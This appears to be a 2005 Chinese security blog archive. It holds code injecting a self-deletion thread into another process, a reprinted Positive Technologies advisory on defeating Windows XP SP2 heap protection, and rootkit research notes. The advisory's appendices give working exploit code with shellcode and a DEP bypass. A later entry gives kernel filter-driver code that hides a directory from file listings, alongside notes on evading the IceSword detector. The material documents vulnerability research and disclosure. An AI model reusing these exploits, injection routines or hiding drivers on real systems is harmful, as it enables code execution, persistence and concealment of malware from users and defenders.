if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
return false;
CloseHandle(hToken);
}
//
HANDLE hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, dwRemoteProcessId );
if(!hRemoteProcess)
{
return false;
}
LPVOID pStart = VirtualAllocEx(hRemoteProcess, NULL, iSizeNeed, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!pStart)
{
CloseHandle(hRemoteProcess);
return false;
}
iReturnCode = WriteProcessMemory(hRemoteProcess, pStart, RemoteDeleteSelfThread, iSizeNeed, NULL);
if(!iReturnCode)
{
CloseHandle(hRemoteProcess);
return false;
}

//初始化要传过去的参数
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
rp.fnLoadLibrary = (rfdeleteLoadLibraryW)GetProcAddress(hKernel32, "LoadLibraryA");
rp.fnGetProcAddress = (rfdeleteGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
rp.fnGetModuleHandle = (rfdeleteGetModuleHandle)GetProcAddress(hKernel32, "GetModuleHandleA");

strcpy(rp.strKernel32, "kernel32.dll");
strcpy(rp.strSleep, "Sleep");
strcpy(rp.strDeleteFileA, "DeleteFileA");
GetModuleFileName(NULL, rp.di.filename, 255);
rp.di.interval = 200;


//写入传递过去的参数
PVOID pParam = VirtualAllocEx(hRemoteProcess, NULL, sizeof(RemoteParam), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!pParam)
{
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
iReturnCode = WriteProcessMemory(hRemoteProcess, pParam, &rp, sizeof(RemoteParam), NULL);
if(!iReturnCode)
{
VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0,
(PTHREAD_START_ROUTINE)pStart, pParam, 0, NULL);

if(!hRemoteThread)
{
VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
//WaitForSingleObject(hRemoteThread, -1);
//VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
//VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return true;
}
#endif
2005年10月10日

Defeating Microsoft Windows XP SP2 Heap protection

and DEP bypass

 

Alexander Anisimov, Positive Technologies.

( anisimov[at]ptsecurity.com, http://www.ptsecurity.com )

 

 

Overview

 

Memory protection

Buffer
overrun attacks are among the most common mechanisms, or vectors, for intrusion
into computers. In this type of exploit, the attacker sends a long string to an
input stream or control – longer than the memory buffer allocated to hold it.
The long string injects code into the system, which is executed, launching a
virus or worm.

 

Windows
XP Service Pack 2 uses two general categories of protection measures to inhibit
buffer-overrun attacks. On CPUs that support it, the operating system can turn
on the execution protection bit for virtual memory pages that are supposed to
hold only data. On all CPUs, the operating system is now more careful to reduce
both stack and heap buffer overruns, using "sandboxing" techniques.

 

Execution Protection (NX)

On
the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can
mark memory with an attribute that indicates that code should not be executed
from that memory. This execution protection (NX) feature functions on a
per-virtual memory page basis, most often changing a bit in the page table
entry to mark the memory page.

 

On
these processors, Windows XP Service Pack 2 uses the execution protection
feature to prevent the execution of code from data pages. When an attempt is
made to run code from a marked data page, the processor hardware raises an
exception immediately and prevents the code from executing. This prevents
attackers from overrunning a data buffer with code and then executing the code;
it would have stopped the Blaster worm dead in its tracks.

 

Although
the support for this feature is currently limited to 64-bit processors,
Microsoft expects future 32-bit and 64-bit processors to provide execution
protection.

 

Sandboxing

To help control this type of attack on
existing 32-bit processors, Service Pack 2 adds software checks to the two
types of memory storage used by native code: the stack, and the heap. The stack
is used for temporary local variables with short lifetimes; stack space is
automatically allocated when a function is called and released when the function
exits. The heap is used by programs to dynamically allocate and free memory
blocks that may have longer lifetimes.

The protection added to these two kinds
of memory structures is called sandboxing. To protect the stack, all binaries
in the system have been recompiled using an option that enables stack buffer
security checks. A few instructions added to the calling and return sequences
for functions allow the runtime libraries to catch most stack buffer overruns.
This is a case where a little paranoia goes a long way.

In addition, "cookies" have
been added to the heap. These are special markers at the beginning and ends of
allocated buffers, which the runtime libraries check as memory blocks are
allocated and freed. If the cookies are found to be missing or inconsistent,
the runtime libraries know that a heap buffer overrun has occurred, and raise a
software exception.

 

- from Microsoft.com



Heap Design

 

Heap
is a reserved address space region at least one page large from which the heap
manager can dynamically allocate memory in smaller pieces. The heap manager is
represented by a set of function for memory allocation/freeing which are
localised in two places: ntdll.dll and ntoskrnl.exe.

 

Every
process at creation time is granted with a default heap, which is 1MB large (by
default) and grows automatically as need arise. The default heap is used not
only by the win32 apps, but also by many runtime library functions which need
temporary memory blocks. A process may create and destroy additional private
heaps by calling HeapCreate()/HeapDestroy(). Use of the private heaps` memories
is established by calling HeapAlloc() and HeapFree().

 

[*]
More detailed information about the heap management functions is provided in
the Win32 API documentation.

 

Memory
in heaps is allocated by chunks called ‘allocation units’ or ‘indexes’ which
are 8-byte large. Therefore, allocation sizes have a natural 8-byte
granularity. For example if an application needs a 24-byte block the number of
allocation units it gets 3 allocation units. In order to manage memory for
every block a special header is created, which also has a size divisible by 8
(fig. 1, 2). Therefore a true memory allocation size is a total of the
requested memory size, rounded up towards a nearest value divisible by 8 and
the size of the header.

 

 

 

Fig.1. Busy block header.

 

 

Fig.2. Free block header.

 

 

Where:

Size – memory block size (real
block size with header / 8);

Previous Size – previous block
size (real block size with header  / 8);

Segment Index – segment index in
which the memory block resides;

Flags – flags:

- 0×01 -
HEAP_ENTRY_BUSY

         – 0×02 -
HEAP_ENTRY_EXTRA_PRESENT

         – 0×04 -
HEAP_ENTRY_FILL_PATTERN

         – 0×08 -
HEAP_ENTRY_VIRTUAL_ALLOC

         – 0×10 – HEAP_ENTRY_LAST_ENTRY

         – 0×20 -
HEAP_ENTRY_SETTABLE_FLAG1

         – 0×40 -
HEAP_ENTRY_SETTABLE_FLAG2

         – 0×80 -
HEAP_ENTRY_SETTABLE_FLAG3

Unused – amount of free bytes
(amount of additional bytes);

Tag Index – tag index;

Flink – pointer to the next free
block;

Blink – pointer to the previous
free block.

 

 

The
specification of the allocation size in allocation units is important for the
free block list management. Those free block lists are sorted by size and the
information about them is stored in an array of 128 doubly-linked-lists inside
the heap header (fig. 3, 4). Free blocks in the size diapasone from 2 to 127
units are stored in lists corresponding to their size (index). For example, all
free blocks with the size of 24 units are stored in a list with index 24, i.e. in
Freelist[24]. The list with index 1 (Freelist[1]) is unused, because blocks of
8 bytes can`t exist and the list with index 0 is used to store blocks larger
than 127 allocation units (bigger than 1016 bytes).

 

 

Fig. 3.

 

 

If,
during the heap allocation, the HEAP_NO_SERIALIZE flag was unset but the
HEAP_GROWABLE flag was set (which is actually the default), then in order to
speed up allocation of the small blocks (under 1016 bytes) 128 additional
singly-linked lookaside lists (fig.
3, 4) are created in the heap. Initially lookaside lists are empty and grow
only as the memory is freed. In this case during allocation or freeing these
lookaside lists are checked for suitable blocks before the Freelists.

 

The
heap allocation routines automatically tune the amount of the free blocks to
store in the lookaside lists, depending on the allocation frequency for certain
block sizes. The more often memory of certain size is allocated — the more can
be stored in the respective lists, and vice versa — underused lists are
trimmed and the pages are freed to the system.

 

Because
the main goal of the heap is to store small memory blocks this scheme results
in relatively quick memory allocation/freeing.

 

 

 

doubly-linked freelist

 

singly-linked lookaside list

 

Fig. 4.

 

 

 

Heap
Overflow

 

Let`s take a look at this pretty simple
example of a vulnerable function:

 

HANDLE h = HeapCreate(0, 0, 0); // default
flags

 

DWORD vulner(LPVOID str)

{

        LPVOID mem = HeapAlloc(h, 0, 128);

        // <..>

        strcpy(mem, str);

        // <..>

return 0;

}

 

As we can see here the vulner() function
copies data from a string pointed by str to an allocated memory block pointed
at by buf, without a bound check.

A string larger than 127 bytes passed to
it will thereby overwrite the data coincidental to this memory block (Which is,
actually, a header of the following memory block).

 

The heap overflow exploitation scenario
usually proceeds on like this:

If during the buffer overflow the
neighboring block exists, and is free, then the Flink and Blink pointers are
replaced (Fig. 5).

At the precise moment of the removal of
this free block from the doubly-linked freelist a write to an arbitrary memory
location happens:

 

mov dword ptr [ecx],eax

mov dword ptr [eax+4],ecx

 

EAX – Flink

ECX – Blink

 

For example, the Blink pointer could be
replaced by the unhandled exception filter address (UEF –
UnhandledExceptionFilter), and Flink, accordingly, by the address of the
instruction which will transfer ther execution to the shellcode.

 

[*] More detailed information about the
heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David
Litchfield, BlackHat 2004).

 

 

Fig. 5.

 

 

 

In
Windows XP SP2 the allocation algorithm was changed — now before the removal
of a free block from the freelist, a pointer sanity check is performed with
regard to the previous and next block addresses (safe unlinking, fig. 6.):

 

 

Fig. 6. Safe unlinking.

 

 

  1. Free_entry2
    -> Flink -> Blink == Free_entry2 -> Blink -> Flink
  2. Free_entry2
    -> Blink -> Flink == Free_entry2

 

7C92AE22   mov        
edx,dword ptr [ecx]

7C92AE24   cmp        
edx,dword ptr [eax+4]

7C92AE27   jne        
7C927FC0

7C92AE2D   cmp        
edx,esi

7C92AE2F   jne        
7C927FC0

7C92AE35   mov         dword
ptr [ecx],eax

7C92AE37   mov         dword
ptr [eax+4],ecx

 

Then
that block gets deleted from the list.

 

The
memory header block was changed, besides other things (fig. 7.). A new
one-byte-large ‘cookie’ field was introduced, which holds a unique precomputed
token — undoubtely designed to ensure header consistency.

 

This
value is calculated from the header address and a pseudorandom number generated
during the heap creation:

 

(&Block_header
>> 3) xor (&(Heap_header + 0×04))

 

The
consistency of this token is checked only during the allocation of a free
memory block and only after its deletion from the free list.

 

 

Fig. 7.

 

If
at least one of these checks fails the heap is considered destroyed and an
exception follows.

 

The
first weak spot — the fact that the cookie gets checked at all only during
free block allocation and hence there is no checks upon block freeing. However
in this situation there is nothing you can do except changing the block size
and place it into an arbitrary freelist.

 

And
the second weak spot – the manipulation of the lookaside lists doesn`t assume
any header sanity checking, there isn`t even a simple cookie check there.

Which,
theoretically, results in possibility to overwrite up to 1016 bytes in an
arbitrary memory location.

 

The
exploitation scenario could proceed as follows:

if,
during the overflow the concidental memory block is free and is residing in the
lookaside list, then it becomes possible to replace the Flink pointer with an
arbitrary value.

Then,
if the memory allocation of this block happens, the replaced Flink pointer will
be copied into the header of the lookaside list and during the next allocation
HeapAlloc() will return this fake pointer.

 

The
prerequisite for successful exploitation is existence of a free block in
lookaside list which neighbors with the buffer we overflow.

 

This
technique was successfully tested by MaxPatrol team in trying to exploit the
heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe
application using the advisory published by the xfocus team:

http://www.xfocus.net/flashsky/icoExp/index.html

 

 

The effect of a successful attack:

1)
Arbitrary memory region write access (smaller or equal to 1016 bytes).

2)
Arbitrary code execution (appendix A).

3)
DEP bypass. (DEP is Data Execution Prevention) (appendix B).

 

 



Disclosure
timeline

 

10/09/2004     
The possibility to work around the Heap protection mechanism was discovered by
MaxPatrol security scanner research team in course of advanced vulnerabilities
analysis

12/21/2004     
Initial vendor notification

12/22/2004     
Initial vendor response

12/22/2004     
PoC code was sent to Microsoft.

 

 



Solution

 

One
might employ restriction of lookaside list creation, governed by a special
global flag, as a temporary security measure. Actually a simple program for
this purpose was already created by MaxPatrol research team and is available
for free download from:

 

http://www.maxpatrol.com/ptmshorp.asp

 

During
the first execution this program shows the list of applications which already
have this flag set. In order to activate the global flag, which would disable
use of the lookaside lists, one needs to add the name of the executable file
and then, optionally, close the application (PTmsHORP).

 

Warning:
this flag, while enabled, may decrease the application performance.

 

 

About
Positive Technologies

 

Positive Technologies is a private company specializing in network
information security. Its head office is located in Moscow, Russia.

 

The company has two main concentrations: provisioning of
integrated services used in protecting computer networks from unauthorized
access; and development of the MaxPatrol security scanner and its complementary
products. The company’s Russian and Ukrainian customers include the largest
banks, state organizations and leading telecommunication and industrial
companies.

 

The two focuses of Positive Technologies complement and enrich
each other. The company employs experienced security specialists who actively
conduct penetration testing and security reviews for some of the largest companies
and state agencies in Russia. This practical experience allows it to create
products of the highest quality and remain on the cutting edge of the security
world. By developing products based on this experience leads to more effective,
successful, and efficient resolutions of any information-security problems.

 

The company also owns and maintains a leading Russian Information
Security Internet Portal
www.securityfocus.ru for that
it uses for analytic and educational purposes.

 

 

About
MaxPatrol

 

MaxPatrol
is an integrated system and application security scanner.  MaxPatrol has the
ability to detect and recommend solutions for both known and unknown vulnerabilities
on multiple platforms.
Although MaxPatrol operates within Microsoft Windows, it
can test for possible vulnerabilities in any software or hardware platform:
from Windows workstations to Cisco networks (*nix, Solaris, Novell, AS400,
etc.).

 

MaxPatrol’s
technology integrates a powerful and comprehensive protection analyzer
developed for web servers and web applications (e.g. shopping carts or online
banking applications) as well as operating system vulnerabilities. Unlike
information-security scanners that focus only on system vulnerabilities, MaxPatrol
provides universal detection on at both the system level and the application
level giving a much more throughout view of an organizations security posture
on all levels.

 

MaxPatrol’s
easy to master GUI and comprehensive reports with suggestions and references
mean any security officer can have in-depth knowledge of the security posture
of their organization without using multiple, nonintegrated products or complex
open source tools.

 

MaxPatrol
demo is available at:
http://www.maxpatrol.com/DOWNLOAD/MP7DEMO.ZIP.

 

MaxPatrol
commercial version is available in the United States through Positives
Technologies Distribution and Support Partner Global Digital Forensics, www.evestigate.com

 

Download
the latest demo version and get a handle on your security posture.

 

 



Appendix A.

 

/*

 *
Defeating Windows XP SP2 Heap protection.

 *

 *
Copyright (c) 2004  Alexander Anisimov, Positive Technologies.

 *

 *

 *
Tested on:

 *

 *   
- Windows XP SP2

 *   
- Windows XP SP1

 *   
- Windows 2000 SP4

 *   
- Windows 2003 Server

 *

 *
Contacts:

 *

 *   
anisimov@ptsecurity.com

 *   

http://www.ptsecurity.com

 *

 *
THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"

 *
AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

 *
WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

 *

 */

 

#include
<stdio.h>

#include
<windows.h>

 

 

unsigned
char calc_code[]=

      "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"

      "\x04\x03\x02\x01"      //
Address of system() function

      "\xFF\xD1\xEB\xF7";

 

 

void
fixaddr(char *ptr, unsigned int a)

{

      ptr[0]
= (a & 0xFF);

      ptr[1]
= (a & 0xFF00) >> 8;

      ptr[2]
= (a & 0xFF0000) >> 16;

      ptr[3]
= (a & 0xFF000000) >> 24;

}

 

int
getaddr(void)

{

      HMODULE
lib = NULL;

      unsigned
int addr_func = 0;

      unsigned
char a[4];

 

      //
get address of system() function

      lib
= LoadLibrary("msvcrt.dll");

      if
(lib == NULL) {

            printf("Error:
LoadLibrary failed\n");

            return
-1;

      }

 

      addr_func
= (unsigned int)GetProcAddress(lib, "system");

      if
(addr_func == 0) {

            printf("Error:
GetProcAddress failed\n");

            return
-1;

      }

      printf("Address
of msvcrt.dll!system(): %08X\n\n", addr_func);

 

      fixaddr(a,
addr_func);

      memcpy(calc_code+13, a, 4);

 

      return
0;

}

 

int
main(int argc, char **argv)

{

      HANDLE
h = NULL;

      LPVOID
mem1 = NULL, mem2 = NULL, mem3 = NULL;

      unsigned
char shellcode[128];

 

      if
(getaddr() != 0)

            return
0;

 

      //
create private heap

      h
= HeapCreate(0, 0, 0);

      if
(h == NULL) {

            printf("Error:
HeapCreate failed\n");

            return
0;

      }

      printf("Heap:
%08X\n", h);

 

      mem1
= HeapAlloc(h, 0, 64-8);

      printf("Heap
block 1: %08X\n", mem1);

      mem2
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 2: %08X\n", mem2);

 

      HeapFree(h,
0, mem1);

      HeapFree(h,
0, mem2);

 

 

      mem1
= HeapAlloc(h, 0, 64-8);

      printf("Heap
block 1: %08X\n", mem1);

 

 

      //
buffer overflow occurs here…

      memset(mem1,
0×31, 64);

      //
fake allocation address in the stack

      memcpy((char
*)mem1+64, "\x84\xFF\x12\x00", 4);

 

 

      //
lookaside list overwrite occurs here…

      mem2
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 2: %08X\n", mem2);

 

      //
allocate memory from the stack

      mem3
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 3: %08X\n", mem3);

 

      memset(shellcode,
0, sizeof(shellcode)-1);

 

      //
fake ret address

      memcpy(shellcode,
"\x8B\xFF\x12\x00", 4);

      //
shellcode – "calc.exe"

      memcpy(shellcode+4,
"\x90\x90\x90\x90", 4);

      memcpy(shellcode+4+4,
calc_code, sizeof(calc_code)-1);

 

      //
overwrite stack frame

      memcpy(mem3,
shellcode, sizeof(calc_code)-1+8);

 

      return
0;

}

 

 



Appendix B.

 

/*

 *
Defeating Windows XP SP2 Heap protection.

 *
Example 2: DEP bypass. (DEP is Data Execution Prevention)

 *

 *
Copyright (c) 2004  Alexander Anisimov, Positive Technologies.

 *

 *

 *
Tested on:

 *

 *   
- Windows XP SP2

 *   
- Windows XP SP1

 *   
- Windows 2000 SP4

 *   
- Windows 2003 Server

 *

 *
Contacts:

 *

 *   
anisimov@ptsecurity.com

 *   

http://www.ptsecurity.com

 *

 *
THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"

 *
AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

 *
WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

 *

 */

 

#include
<stdio.h>

#include
<windows.h>

 

 

unsigned
char calc_code[]=

      "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"

      "\x04\x03\x02\x01"      //
Address of system() function

      "\xFF\xD1\xEB\xF7";

 

 

void
fixaddr(char *ptr, unsigned int a)

{

      ptr[0]
= (a & 0xFF);

      ptr[1]
= (a & 0xFF00) >> 8;

      ptr[2]
= (a & 0xFF0000) >> 16;

      ptr[3]
= (a & 0xFF000000) >> 24;

}

 

int
getaddr(unsigned char *a)

{

      HMODULE
lib = NULL;

      unsigned
int addr_func = 0;

 

      //
get address of system() function

      lib
= LoadLibrary("msvcrt.dll");

      if
(lib == NULL) {

            printf("Error:
LoadLibrary failed\n");

            return
-1;

      }

 

      addr_func
= (unsigned int)GetProcAddress(lib, "system");

      if
(addr_func == 0) {

            printf("Error:
GetProcAddress failed\n");

            return
-1;

      }

      printf("Address
of msvcrt.dll!system(): %08X\n\n", addr_func);

 

      fixaddr(a,
addr_func);

 

      return
0;

}

 

 

int
main(int argc, char **argv)

{

      HANDLE
h = NULL;

      LPVOID
mem1 = NULL, mem2 = NULL, mem3 = NULL;

      unsigned
char shellcode[128];

 

      //
create private heap

      h
= HeapCreate(0, 0, 0);

      if
(h == NULL) {

            printf("Error:
HeapCreate failed\n");

            return
0;

      }

      printf("Heap:
%08X\n", h);

 

      mem1
= HeapAlloc(h, 0, 64-8);

      printf("Heap
block 1: %08X\n", mem1);

      mem2
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 2: %08X\n", mem2);

 

      HeapFree(h,
0, mem1);

      HeapFree(h,
0, mem2);

 

      mem1
= HeapAlloc(h, 0, 64-8);

      printf("Heap
block 1: %08X\n", mem1);

 

 

      //
buffer overflow occurs here…

      memset(mem1,
0×31, 64);

      //
fake allocation address in the stack

      memcpy((char
*)mem1+64, "\x84\xFF\x12\x00", 4);

 

 

      //
lookaside list overwrite occurs here…

      mem2
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 2: %08X\n", mem2);

 

      //
allocate memory from the stack

      mem3
= HeapAlloc(h, 0, 128-8);

      printf("Heap
block 3: %08X\n", mem3);

 

      memset(shellcode,
0, sizeof(shellcode)-1);

 

      //
“return-into-lib” method

// fake ret address ->
system()

      getaddr(&shellcode[0]);

      memcpy(shellcode+4,
"\x32\x32\x32\x32", 4);

 

      //
shellcode – "calc.exe"

      memcpy(shellcode+8,
"\x94\xFF\x12\x00", 4);

      memcpy(shellcode+12,
"\x31\x31\x31\x31", 4);

      memcpy(shellcode+16,
"calc", 4);

      memcpy(shellcode+20,
"\x0a\x31\x31\x31", 4);

 

      //
overwrite stack frame

      memcpy(mem3,
shellcode, 24);

 

      return
0;

}

2005年09月28日

1. 研究ObpKernelHandleTabl和HandleTableList都有些什么用.
2. 如果HandleTableList确实是保存了系统所有的HANDLE_TABLE的话, 可以考虑用做权举进程,线程还有端口.
3. ObInitSystem函数中有很多比较有价值的东东, 研究研究
4. Idle进程如何获取? PsIdleProcess
5. PsActiveProcessHead是指向ActiveProcessLinks的表头, 这样的话, 可以用来获取ActiveProcessLinks在EPROCESS中的偏移
6. KPRCB, IdleThread
7. fs:[0124]指向ETHREAD, FS:[120]指向KPRCB

IoEnumerateDeviceObjectList



附: ExSnapShotHandleTables能用来权举HandleTableList

2005年09月20日

一直以来都非常喜欢Pjf的IceSword, 研究了很久, 按他的思路也完成了一个类似的工具, 当然同时也发现了一些绕过检测的方法, 只是我觉得目前为止, 在ROOTKIT领域里面, Pjf真的是为中国争了光(很佩服的说 ^_^),  因此一直没有对外公布而已, 觉得这样好的一个工具应该长期的被使用下去.

但是这几天看到驱动开发网上的管理员开贴要挑战ICESWORD, 呵呵, 不知PJF怎么看的. 目前为止, 把一些技术细节都给搞出来了. 都不知道这是好是坏了. 技术战还在继续啊,

这里,我只是简单的将我做的驱动中的某一个绕过模块做了个动画, 有兴趣的可以看看. 但是我不想公布技术细节. 我觉得大家还是应该支持PJF的, 对吗?

Http://zwell.3322.org/down/HideReg.rar

2005年09月15日

1. 查询目录可以用IRP_MJ_DIRECTORY_CONTROL
2. 回去看一下sfilter
3. 隐藏目录:
NTSTATUS
DispatchDirectoryControl(
                         IN PDEVICE_OBJECT DeviceObject,
                         IN PIRP Irp
                         )
{
    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    KEVENT waitEvent;
    NTSTATUS status;
    PWSTR fileNameBuffer;
    ULONG bufferLength;
    ULONG newLength;
    ULONG offset;
    ULONG currentPosition;
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
    PFILE_BOTH_DIR_INFORMATION preDirInfo = NULL;

    PAGED_CODE();

    if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {

        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        Irp->IoStatus.Information = 0;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INVALID_DEVICE_REQUEST;
    }

    if (Irp->RequestorMode == KernelMode) {

        IoSkipCurrentIrpStackLocation(Irp);
        return IoCallDriver(((PDEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp);
    }

    if (FileBothDirectoryInformation != irpSp->Parameters.QueryDirectory.FileInformationClass) {

        IoSkipCurrentIrpStackLocation(Irp);
        return IoCallDriver(((PDEVICE_EXTENSION) DeviceObject->DeviceExtension)->AttachedToDeviceObject, Irp);
    }

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    IoCopyCurrentIrpStackLocationToNext(Irp);

    IoSetCompletionRoutine(Irp,
        DirectoryControlCompletion,
        &waitEvent, //context parameter
        TRUE,
        TRUE,
        TRUE
        );

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);

    //
    // Wait for the operation to complete
    //
    if (STATUS_PENDING == status) {

        status = KeWaitForSingleObject(&waitEvent,
            Executive,
            KernelMode,
            FALSE,
            NULL
            );
        ASSERT(STATUS_SUCCESS == status);
    }

    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) {

        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    fileNameBuffer =(PWSTR) ExAllocatePoolWithTag(NonPagedPool, MAX_PATH * sizeof(WCHAR), POOL_TAG);
    if (!fileNameBuffer)
    {
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    RtlZeroMemory(fileNameBuffer, MAX_PATH * sizeof(WCHAR));

    if (!NT_SUCCESS(GetFileName(DeviceObject, irpSp->FileObject, fileNameBuffer))) {

        ExFreePoolWithTag(fileNameBuffer, POOL_TAG);
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    if (0 != _wcsicmp(fileNameBuffer, L"\\")) {

        ExFreePoolWithTag(fileNameBuffer, POOL_TAG);
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    while (TRUE) {

        bufferLength = irpSp->Parameters.QueryDirectory.Length;
        newLength = bufferLength;
        currentPosition = 0;
        dirInfo =(PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
        preDirInfo = dirInfo;

        if ((!dirInfo) ||(dirInfo->NextEntryOffset > bufferLength)) {

            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return status;
        }

        do {

            offset = dirInfo->NextEntryOffset;
            if ((dirInfo->FileNameLength > 0) &&
                (_wcsnicmp(HIDDEN_DIRECTORY, dirInfo->FileName, dirInfo->FileNameLength / sizeof(WCHAR)) == 0)) {

                    if (0 == offset) { // the last one

                        preDirInfo->NextEntryOffset = 0;
                        newLength = currentPosition;

                    } else {

                        if (preDirInfo != dirInfo) {

                            preDirInfo->NextEntryOffset += dirInfo->NextEntryOffset;
                            dirInfo = (PFILE_BOTH_DIR_INFORMATION) ((PUCHAR) dirInfo + offset);

                        } else {

                            RtlMoveMemory((PUCHAR) dirInfo,(PUCHAR) dirInfo + offset, bufferLength – currentPosition – offset);
                            newLength -= offset;

                        }
                    }

                    // break;
                }
            else
            {
                currentPosition += offset;
                preDirInfo = dirInfo;
                dirInfo =(PFILE_BOTH_DIR_INFORMATION)((PUCHAR) dirInfo + offset);
            }

        } while(0 != offset);

        if (0 == newLength) {

            KeResetEvent(&waitEvent);

            IoCopyCurrentIrpStackLocationToNext(Irp);

            IoSetCompletionRoutine(Irp,
                DirectoryControlCompletion,
                &waitEvent, //context parameter
                TRUE,
                TRUE,
                TRUE
                );

            status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);

            //
            // Wait for the operation to complete
            //
            if (STATUS_PENDING == status) {

                status = KeWaitForSingleObject(&waitEvent,
                    Executive,
                    KernelMode,
                    FALSE,
                    NULL
                    );
                ASSERT(STATUS_SUCCESS == status);
            }

            if (!NT_SUCCESS(status) ||(0 == Irp->IoStatus.Information)) {

                break;
            }

        } else {

            Irp->IoStatus.Information = newLength;
            break;
        }
    }

    ExFreePoolWithTag(fileNameBuffer, POOL_TAG);

    Irp->IoStatus.Information = newLength;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

NTSTATUS
DirectoryControlCompletion(
                           IN PDEVICE_OBJECT DeviceObject,
                           IN PIRP Irp,
                           IN PVOID Context
                           )
{
    UNREFERENCED_PARAMETER(DeviceObject);
    UNREFERENCED_PARAMETER(Irp);

    KeSetEvent((PKEVENT) Context, IO_NO_INCREMENT, FALSE);

    return STATUS_MORE_PROCESSING_REQUIRED;
}

4. #pragma alloc_text( "textsection", function1, … ) 指定一个代码段,用来存放函数。该定义必须在函数的声明之后定义之前。

5. 在module viewer中加入进程查看时把用户名和会话ID加进去

6. MmGetSystemRoutineAddress可以用来获取系统的函数地址;

2005年09月14日

1. IceSword 也使用了Jmp的方法来HOOK服务描述表, 回头把Module Viewer改一下, 用来检测这种方式的HOOK
2. IceSword在检测隐藏文件方面是用的直接向FSD(File System Driver)发送IRP的方式来达到目的的.
可以通过HOOK 设备的IRP等函数来跟踪,但是只能跟踪CREATE, READ, WRITE, CLOSE, CLEANUP等几个,
还有一些关键的函数估计是直接调用了原始地址. 回去将MODULE Viewer改一下, 用jmp的HOOK方式看能不能跟踪到.
3. 一般远线程最终都会调用KeStackAttachProcess来切换进程地址空间,因此只要Hook掉这个函数就能完成检测
远线程了,回去试一下.(注,程序也就无法被调试了^_^);
4. autoruns检测的一些项目:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit            
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\System\CurrentControlSet\Services\
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\
HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options            
HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls            
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify            
HKCU\Control Panel\Desktop\Scrnsave.exe            
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9            
